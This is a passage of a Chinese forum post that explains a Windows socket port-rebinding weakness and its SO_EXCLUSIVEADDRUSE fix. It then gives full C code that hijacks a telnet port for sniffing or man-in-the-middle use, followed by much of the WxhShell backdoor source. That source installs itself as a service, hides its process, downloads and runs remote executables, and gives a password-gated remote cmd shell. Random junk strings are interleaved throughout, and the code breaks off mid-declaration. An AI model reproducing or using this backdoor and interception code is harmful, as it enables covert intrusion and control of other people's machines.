-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G>w?9:V} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]dbSa1? 0+<eRR9- saddr.sin_family = AF_INET; 4o4 = 4`U0">gY saddr.sin_addr.s_addr = htonl(INADDR_ANY); 24jtJC,7 o!toO&= bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {`H<=h__ M9s43XL(& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I' ! r 4OOn, 09 这意味着什么?意味着可以进行如下的攻击: <{cNgKd9 S2
"=B&,} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y%0d\{@a o`\.I&Ij 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wLOQhviI^- "o{)X@YN] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I& M36f jH&_E'XMX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _))I.c=v QOV}5 0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jkF+g$B H\| ]!8w5Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V'"I9R'1 K/2. 1o;9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4g7ja ran^te^Ks( #include 6
tc:A5mK #include rXY;m- #include :GQIlA8cF$ #include .5Knb c DWORD WINAPI ClientThread(LPVOID lpParam); zRV!(Y int main() nJleef9 { ] dHB} WORD wVersionRequested; ^.D}k DWORD ret; k6O.H WSADATA wsaData; ZMoJ#p( BOOL val; `s`C{|wv SOCKADDR_IN saddr; zUs~V`0 SOCKADDR_IN scaddr; !6zyJc@01 int err; o#xgrMB SOCKET s; wy{ \/?~c SOCKET sc; )d +hZ' int caddsize; U!c]_q HANDLE mt; a#+>w5 DWORD tid; ':\fl.b wVersionRequested = MAKEWORD( 2, 2 ); tx0Go'{ err = WSAStartup( wVersionRequested, &wsaData ); WHUT/:?f if ( err != 0 ) { $T?*0"Mj[ printf("error!WSAStartup failed!\n"); g/8.W return -1; OGJ=VQA } Y5ogi) saddr.sin_family = AF_INET; }pMP!%| "F-Y^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6ORY`Pe7P| c[VrC+e m saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xMDrE? saddr.sin_port = htons(23); *O@sh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4E=0qbt8 { "v(G7*2 printf("error!socket failed!\n"); a`H\-G return -1; B(j02<- } 8F zHNG val = TRUE; ch@x]@-;A3 //SO_REUSEADDR选项就是可以实现端口重绑定的 |JUe>E* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tu\mFHvlg { Ag0]U printf("error!setsockopt failed!\n"); yjEI/9_ return -1; $ph0ag+ } d5DP^u //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $]@O/[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5x8'K7/4. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tu]&^[B(' ],8;eq%W) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `gBD_0<T7 { %
f2<U;ff ret=GetLastError(); iQt!PMF. printf("error!bind failed!\n"); b5AGk return -1; 2B7h9P.N B } &*B>P>x listen(s,2); u8Y~_)\MA while(1) '#v71, { XQ]`&w( caddsize = sizeof(scaddr); g b -Bxf //接受连接请求 ngP7'1I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2~f6~\4GL+ if(sc!=INVALID_SOCKET) a{h%DpG { 9Z&?R++? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c~P)4(udT if(mt==NULL) o2DtCU-A { jFtg.SD printf("Thread Creat Failed!\n"); $#5klA break; Bi]D{m9 } ~}BJ0P(VMc } _=ugxL #eB CloseHandle(mt); W1vCN31 } Fse['O~ closesocket(s); eY
T8$ WSACleanup(); M[~Jaxw% return 0; b SQRLxF } )8;{nqoC DWORD WINAPI ClientThread(LPVOID lpParam)
n
]w7Zj { )S^z+3p SOCKET ss = (SOCKET)lpParam; Q6=MS>JW]w SOCKET sc; Y2<dM/b/ unsigned char buf[4096]; sltk@ SOCKADDR_IN saddr; Nz~(+pVWg5 long num; OR]T`meO DWORD val; `h?LVD'l DWORD ret; yVaU t_Zi //如果是隐藏端口应用的话,可以在此处加一些判断 hp*<x4%*a" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 rJu[N(2k saddr.sin_family = AF_INET; "Nbos.a]5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yv^p=-E saddr.sin_port = htons(23); Gz?2b#7v
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *vYn_wE { MSl&?}Bj printf("error!socket failed!\n"); `\!X}xiWd return -1; [OzzL\)3l } 9qpU@V! val = 100; !#?8BwnaZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qm<
gb+ { +@0TMK,P ret = GetLastError(); yO=p3PV d return -1; cf)J ) } IV0[!D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W<v_2iVu { 8W;2oQN7 ret = GetLastError(); Zd[OWF return -1; nTs/Q V } i2*d+?Er if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V$(/0mQV( { , ;%yf? printf("error!socket connect failed!\n"); iX%[YQ | closesocket(sc); [EgW/\35 closesocket(ss); 6UlF5pom return -1; UFe(4]^ } [Eu]; while(1) ltoqtB\s { (= 9wo //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MAnp{ //如果是嗅探内容的话,可以再此处进行内容分析和记录 )Vg2Jix,] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qgx?"$ Z
num = recv(ss,buf,4096,0); 7S<UFj if(num>0) !2$ z *C2; send(sc,buf,num,0); i?;R}%~ else if(num==0) rgqQxe= break; 3;-^YG num = recv(sc,buf,4096,0); 'z5h3J if(num>0) JB^Q\;$ send(ss,buf,num,0); 0I5&a else if(num==0) 1{Jb" break; QL97WK\$ } gRAC d&) closesocket(ss); 2+.18"rvi closesocket(sc); .'1SZe7O return 0 ; ,gMy@ } Km!nM$=k +}aC-& SdJ/4&{ ! ========================================================== ``u:lL Qf
xH9_ 下边附上一个代码,,WXhSHELL RV+E^pkp$ f<<rTE6 ========================================================== 4Po)xo >o~Z>lr #include "stdafx.h" =P`~t<ajB \:v$ZEDJ> #include <stdio.h> c0ez/q1S #include <string.h> v+=k-;- #include <windows.h> e;VIL 2| #include <winsock2.h> Kesy2mE #include <winsvc.h> s+Q;pRZW{ #include <urlmon.h> aDL*W@1S *hdC?m._ #pragma comment (lib, "Ws2_32.lib") ]]BOk #pragma comment (lib, "urlmon.lib") {2
%aCCV 9o0!m Cq #define MAX_USER 100 // 最大客户端连接数 j U[
O #define BUF_SOCK 200 // sock buffer {G3i0r #define KEY_BUFF 255 // 输入 buffer rNlW7Y y'}O)lO1 #define REBOOT 0 // 重启 T9syo/( #define SHUTDOWN 1 // 关机 lA^+Flh ,=BLnsg #define DEF_PORT 5000 // 监听端口 .Cz %:%9 QI}E4-s8 #define REG_LEN 16 // 注册表键长度 U#
JIs #define SVC_LEN 80 // NT服务名长度 wO.iKX; nfdq y) // 从dll定义API ` ;)ZGY\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o.7{O,v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5$rSEVg9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h}L}[
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fuX'~$b.fA EQ<RDhC@b // wxhshell配置信息 |Au ]1} struct WSCFG { U@F)2? int ws_port; // 监听端口 .*YD&( char ws_passstr[REG_LEN]; // 口令 e3(/qMl int ws_autoins; // 安装标记, 1=yes 0=no tPfFqqT char ws_regname[REG_LEN]; // 注册表键名 lfN~A"X char ws_svcname[REG_LEN]; // 服务名
-\,zRIOK char ws_svcdisp[SVC_LEN]; // 服务显示名 89~ =eY char ws_svcdesc[SVC_LEN]; // 服务描述信息 $uDqqG(^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {ZsdLF# int ws_downexe; // 下载执行标记, 1=yes 0=no %|"g/2sF[G char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" +q<B.XxkA char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !CUoHTmB TsQU6NNE }; a
W%5~3 d3;qsUh$yv // default Wxhshell configuration x=Hndx^ struct WSCFG wscfg={DEF_PORT, Q.U$nph\%d "xuhuanlingzhe", I+(/TP 1, M*eJ
JY "Wxhshell", eH%RNtP` "Wxhshell", OJAIaC\ "WxhShell Service", EZDy+6b "Wrsky Windows CmdShell Service", 8,"yNq "Please Input Your Password: ", x_#-tB 1, Tr&M~Lgb) " http://www.wrsky.com/wxhshell.exe", {aYY85j "Wxhshell.exe" SHVWwoieT }; ;gg\;i}^ _-TA{21) // 消息定义模块 BB$oq' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tw=oH9c80 char *msg_ws_prompt="\n\r? for help\n\r#>"; lfZ04M{2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; gB'fFkd char *msg_ws_ext="\n\rExit."; M]]pTU(( char *msg_ws_end="\n\rQuit."; @`36ku char *msg_ws_boot="\n\rReboot..."; ^wb:C[r!V char *msg_ws_poff="\n\rShutdown..."; >Z.\J2wM<j char *msg_ws_down="\n\rSave to "; 6uPcXd:8ZR 5ExDB6Bx@y char *msg_ws_err="\n\rErr!"; PxFWJ?= char *msg_ws_ok="\n\rOK!";
D L'iS 8flOq"uK^ char ExeFile[MAX_PATH]; [U@;\V$ int nUser = 0; _ *f HANDLE handles[MAX_USER]; ``VW;l{ int OsIsNt; k^"bLf(4 \!]hU%Un SERVICE_STATUS serviceStatus; W,^W^:m-x SERVICE_STATUS_HANDLE hServiceStatusHandle; q@hzo>[ K14^JAdY/ // 函数声明 M=qb^~ l int Install(void); 1 rs&74- int Uninstall(void); DV)3 int DownloadFile(char *sURL, SOCKET wsh); pCh2SQ(Q> int Boot(int flag); -s|8<A||" void HideProc(void); J(4"S o_ int GetOsVer(void); d?AlI int Wxhshell(SOCKET wsl); 5q9s,r_ void TalkWithClient(void *cs); rKH:[lKm int CmdShell(SOCKET sock); C)'q
QvA int StartFromService(void); `
|IUGz int StartWxhshell(LPSTR lpCmdLine); r}#\BbCv;7 z!;1i[|x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BVsD(
@lX VOID WINAPI NTServiceHandler( DWORD fdwControl ); fA/m1bYxg (Rt7%{* // 数据结构和表定义 o2z]dTJ}o SERVICE_TABLE_ENTRY DispatchTable[] = [u}(57DS { 'H5M|c$s {wscfg.ws_svcname, NTServiceMain}, WY^W.1X {NULL, NULL} (;Y8pKl1e }; ;5-r_D;9 "tFxhKf // 自我安装 P 3MhU; int Install(void) ~lNsa".c { b45|vX+j char svExeFile[MAX_PATH]; =@,Q Dm]L HKEY key; tE6!+c<7 strcpy(svExeFile,ExeFile); i)
E|bW; )^||\G // 如果是win9x系统,修改注册表设为自启动 zDhB{3-Q1{ if(!OsIsNt) { <f CKUc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y[B>~m8$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HK\~Qnq RegCloseKey(key); ~'37`)]z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =K'cM=WM6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QrO\jAZ{Ag RegCloseKey(key); cdqB,]" return 0; X\EVTd)@ } 2(5ebe[ } qTZFPfyU } n
-( else { su*Pk|6% m]i @ +C // 如果是NT以上系统,安装为系统服务 kmzH'wktt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3(C\.oRc if (schSCManager!=0) DCqY|4Qc { .ERO|$fv SC_HANDLE schService = CreateService Ookh<ES> ( f&v9Q97= schSCManager, "ju6XdZo wscfg.ws_svcname,
;7N{^"r wscfg.ws_svcdisp, AJ#Nenmj SERVICE_ALL_ACCESS, R.=}@oPb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Eu"_MgD SERVICE_AUTO_START, 'y8]_K* SERVICE_ERROR_NORMAL, U9b?i$ svExeFile, .bBdQpF- NULL, Y0eE-5F, NULL, 4pw6bK,s2\ NULL, D %Xo&V[ NULL, quY:pqG38q NULL MSf;ZB ); KYzv$oK if (schService!=0) F:x [ { .r*2| CloseServiceHandle(schService); z5ij(RE] CloseServiceHandle(schSCManager); H":oNpfb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2UGsYQn strcat(svExeFile,wscfg.ws_svcname); 4apL4E"r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D!7`CH+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8M!:N(a RegCloseKey(key); (5]}5W* return 0; <b,~:9*? } oudxm[/U } [eTSZjIN7 CloseServiceHandle(schSCManager); m2AnXY\ } ~69&6C1Ch } )1X#*mCxk ZP{*.]Qu return 1; sQkhwMg } lg^Z*&( 7uzkp&+: // 自我卸载 kc0E%odF.v int Uninstall(void) |i++0BU { 6}r`/?"A1 HKEY key; iLSr*`
o (o`{uj{! if(!OsIsNt) { 6j
~#[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 21"1NJzP RegDeleteValue(key,wscfg.ws_regname); F'0O2KQ RegCloseKey(key); SL5Ai/X0N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !qG7V:6 RegDeleteValue(key,wscfg.ws_regname); j]`PSl+w RegCloseKey(key); 1I:+MBGin return 0; O%bEB g } ](hE^\SC } KCs[/] } R17?eucZ else { h$2</J" #\=F O> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yqPdl1{Qr= if (schSCManager!=0) !r<pmr3f@7 { 50X([hIr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YPxM<Gfa8 if (schService!=0) Yw-G' { ov, hI>0!D if(DeleteService(schService)!=0) { (!:,+*YY CloseServiceHandle(schService); =i[\- CloseServiceHandle(schSCManager); q.;u?,|E/ return 0; 79;<_(Y } 4t=G
CloseServiceHandle(schService); LGn:c; } 7' Mm205\ CloseServiceHandle(schSCManager);
$ ` "" } Hl,W=2N } *WuID2cOI %KLpig return 1; 2WdyxjQ } 7<*yS310 +~p88;
// 从指定url下载文件 -qGa]a int DownloadFile(char *sURL, SOCKET wsh) > ;*b|Ik { y+NN< EY@ HRESULT hr; `x*Pof!Io char seps[]= "/"; [TmIVQ!B char *token; c24dSNJg, char *file; U>Slc08N char myURL[MAX_PATH]; I`!<9OTBj char myFILE[MAX_PATH]; %$.3V#? K|[*t~59 strcpy(myURL,sURL); 2GDD!w#!j token=strtok(myURL,seps); .:F%_dS D while(token!=NULL) 8]9%*2"! { ;>Ib^ov file=token; @J/K-.r token=strtok(NULL,seps); koug[5T5 } ) AvN\sC glDu2a,Q GetCurrentDirectory(MAX_PATH,myFILE); 3ca (i/c strcat(myFILE, "\\"); {ttysQ- strcat(myFILE, file); yd
d7I&$ send(wsh,myFILE,strlen(myFILE),0); \XZ/v*d0
send(wsh,"...",3,0); ds<2I,t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ``hf=`We if(hr==S_OK) gtppv6<Mj4 return 0; D9H?:pmv? else asppRL|| return 1; Fww :$^_ k W:pIPDx1=! } pOIJH =# cQ
R]le%( // 系统电源模块 _9F9W{' int Boot(int flag) o6.^*%kM' { W*2BT
z HANDLE hToken; 3[Qxd{8r TOKEN_PRIVILEGES tkp; T4Pgbop {8W'%\!=
if(OsIsNt) { m;GCc8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )"7iJb<E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?^al9D[:lz tkp.PrivilegeCount = 1; *Q
"wwpl? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mh]Gw(?w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -lY6|79bF if(flag==REBOOT) { <Zmg# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1~NT.tY return 0; qm/22:&v5 } hcsP2
0s else { *`5.|{<j{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;DfY#- return 0; tEvut=k' } *0Skd } vApIHI?- else { G[uK -U if(flag==REBOOT) { (x;@%:3j$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n FHUy9q return 0; ^ B fC } )q8p k2 else { K0|FY=#2y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2*laAB return 0; #A JDWelD } 3u+T~g0^ } U:0mp" V^bwXr4f return 1; 6
ob@[ @ } Z>k#n'm^z "o-zy'I // win9x进程隐藏模块 *av<E void HideProc(void) E Nhl&J { Q{>+ft U <lPm1/8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *v !9MU9[( if ( hKernel != NULL ) BYL)nCc { /T0F"e)Ci pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1Y\DJ@lh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ) j#`r/ FreeLibrary(hKernel); PUMXOTu] } 2lH& 3Ei#q+7 return; BLQ 6A< } {HltvO%8 $w`xvX // 获取操作系统版本 5H<m$K4z int GetOsVer(void) 6
$4[gcL' { y}" O U OSVERSIONINFO winfo; l*Gvf_UH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @<hb6bo,N GetVersionEx(&winfo); N2^=E1|_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UNu#(nP return 1; dVtG/0 else 6_GhO@lOG return 0; itt3.:y } S6Q -">;-3,K // 客户端句柄模块 u5`u>.! int Wxhshell(SOCKET wsl) EIP/V { r=
`Jn6@ SOCKET wsh; we//|fA< struct sockaddr_in client; [6Izlh+D DWORD myID; ^,TO#%$iE MS~(D.@ZS while(nUser<MAX_USER) Y8~"vuIE5 { V(I8=rVH int nSize=sizeof(client); QOGvC[*`<T wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i+ ?^8# if(wsh==INVALID_SOCKET) return 1; C_}]`[ UmP/h@8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @1roe
G if(handles[nUser]==0) _aSxc)? closesocket(wsh); {BN#h[#B{ else g*AWE,%=| nUser++; *aM=Z+ } ,q`\\d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,f%S'(>w ~g]Vw4pv return 0; I3L<[-ZE } zj{pJOM06 gD@){Ip // 关闭 socket lgL%u K) void CloseIt(SOCKET wsh) BA:VPTZq { N)X3XTY closesocket(wsh); xef% d
G. nUser--; Woym/[i ExitThread(0); reu*53r] } Q~
w|# Rsm^Z!sn // 客户端请求句柄 Vx u0F]% void TalkWithClient(void *cs) tCH!my_ { rpha!h>w1% q"lSZ;
'E SOCKET wsh=(SOCKET)cs; -=Q*Ml#I char pwd[SVC_LEN]; +5*95-;0 char cmd[KEY_BUFF]; >1Ibc=}g char chr[1]; )D7m,Wi+ int i,j; D%pF;XY `4J$Et%S while (nUser < MAX_USER) { K\Wkoi5 iOghb*aW if(wscfg.ws_passstr) { p?OoC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dw.J2>uj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k1~&x$G //ZeroMemory(pwd,KEY_BUFF); e#8Q L i=0; H/
HMm{4 while(i<SVC_LEN) { Ax7[;|2 &K#M*B,*p // 设置超时 IM'r8V fd_set FdRead; =j]<t struct timeval TimeOut; oJz^|dW FD_ZERO(&FdRead); +mj y<~\ FD_SET(wsh,&FdRead); $qnZl'O> TimeOut.tv_sec=8; QA`sx TimeOut.tv_usec=0; aeJHMHFc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YK'<NE3 4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z>Y-fN`, +7.',@8_V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |0b`fOS pwd =chr[0]; i[3'ec3 if(chr[0]==0xd || chr[0]==0xa) { [}=B8#Jl-C pwd=0; ![=yi
tB break; f}P3O3Yv& } 6A-|[(NS i++; /W<;Z;zk } jV1.Yz(` hMO=#up& // 如果是非法用户,关闭 socket R&k<AZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ Gvm9M } 8Fu(Ft^9 "<1{9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /(*q}R3Kfo send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !l8PDjAE L#sMSVC+ while(1) { :DNY7TvZ 0S!K{xyR ZeroMemory(cmd,KEY_BUFF); /
zPO @qAS*3j // 自动支持客户端 telnet标准 m-#2n?
z- j=0; VU3upy< while(j<KEY_BUFF) { c-5)QF) z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JK5gQ3C[ cmd[j]=chr[0]; n Dxz~8 if(chr[0]==0xa || chr[0]==0xd) { !_)[/q" cmd[j]=0; VpDbHAg break; BW4J> { } htF] W|z j++; `M8i92V\qY } ^u ~Q/4 "+G8d'%YV // 下载文件 9WyhZoPD* if(strstr(cmd,"http://")) { W^l-Y%a/o send(wsh,msg_ws_down,strlen(msg_ws_down),0); oZ|\vA%4^ if(DownloadFile(cmd,wsh)) z<?)Rq" send(wsh,msg_ws_err,strlen(msg_ws_err),0); )jP1or else fuySN!s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2c*GuF9(0 } @:#eb1<S else { /a4{?? #e 4|DWOQ': switch(cmd[0]) { (O3nL. -uf|w? // 帮助 [7Oe3= case '?': { UP,c | send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 83#mB:^R break; }o`76rDN } H G^'I+Yn // 安装 vXje^>_6 case 'i': { `b$.%S8uj= if(Install()) !+v$)3u9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2BwO!Y[ else 0 @oJFJrO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ud('0r',D break; *$g-:ILRuZ } vr=#3> // 卸载 +CNv l case 'r': { ( a#BV}= if(Uninstall()) v.qrz"98- send(wsh,msg_ws_err,strlen(msg_ws_err),0); &tj!*k' else 4.t-i5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ [@, break; /%^#8<=|U } 4Fr
// 显示 wxhshell 所在路径 N~'c_l case 'p': { >z@0.pN]7 char svExeFile[MAX_PATH]; c\j/k[\< strcpy(svExeFile,"\n\r"); PEZ!n.'S strcat(svExeFile,ExeFile); =UWI9M*sz send(wsh,svExeFile,strlen(svExeFile),0); |yPu!pfl break; I; rGD^ } Cp0=k // 重启 F:S}w case 'b': { Z7Hbj!d/Sz send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6Z"X}L,* if(Boot(REBOOT)) 0o&5]lEe send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]D\D~!R else { VI*$em O0 closesocket(wsh); l*G[!u ExitThread(0); X"%gQ.1|{j } yJIscwF break; ;aVZ"~a+\ } 9hyn`u. // 关机 ;RlxD 4p case 'd': { jmG~Un M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CU!Dhm/U if(Boot(SHUTDOWN)) |vj/Wwr send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2D5StCF$O else { #Gi$DMW closesocket(wsh); pMM8-R'W- ExitThread(0); ]7A'7p$Y } 493*{ break; 7b+6%fV } ?}Y]|c^W // 获取shell YN5rml'- case 's': { d&>^&>?$zh CmdShell(wsh); a d\ot#V closesocket(wsh); 4_ML],. ExitThread(0); 6_B]MN!( break; }^\oCR@ } MF'JeM;H // 退出 8 LCb+^ case 'x': { kyV8K#}%8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "#g}ve, CloseIt(wsh); iWR)ke break; <F'\lA9 } g<qaXv // 离开 {P-): case 'q': { ~"A0Rs= send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0=$T\(0g closesocket(wsh); *0ro0Z|Iq WSACleanup(); uXiN~j &Be exit(1); ^<6[.) break; m]&SN z= } o4WDh@d5S } K(|}dl: } \OoWo 7t3!)a|lI // 提示信息 ~}Pfu if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 zb/xP> } %z$#6?OK^ } !()Qm,1u ;9#KeA _ return; J .<F"r> } |V(0GB yt2PU_), // shell模块句柄 6L~n.5B~o int CmdShell(SOCKET sock) 4^d?D!j { 0*v2y*2V STARTUPINFO si; XK vi=0B ZeroMemory(&si,sizeof(si)); cz$2R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,#K'PB4 E si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [D1Up PROCESS_INFORMATION ProcessInfo; 19] E 5'AI char cmdline[]="cmd"; !<h)w#>en CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xyxy`qR A return 0; @(lh%@hO } 7|H$ /] |vC~HJpuv' // 自身启动模式 {.]7!ISl5 int StartFromService(void) xYB{;K { ;F Eqe49 typedef struct pK4)yu+ { K)P%;X DWORD ExitStatus; Tj- s4x DWORD PebBaseAddress; O".=r} DWORD AffinityMask; %}T6]S)%u DWORD BasePriority; H;"4C8K7 ULONG UniqueProcessId; cH)";]k*- ULONG InheritedFromUniqueProcessId; R|Q?KCI& } PROCESS_BASIC_INFORMATION; 8?C5L8) (-co. PROCNTQSIP NtQueryInformationProcess; #LNED)Vg _VXN#@y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }GIt!PG static GETMODULEBASENAME 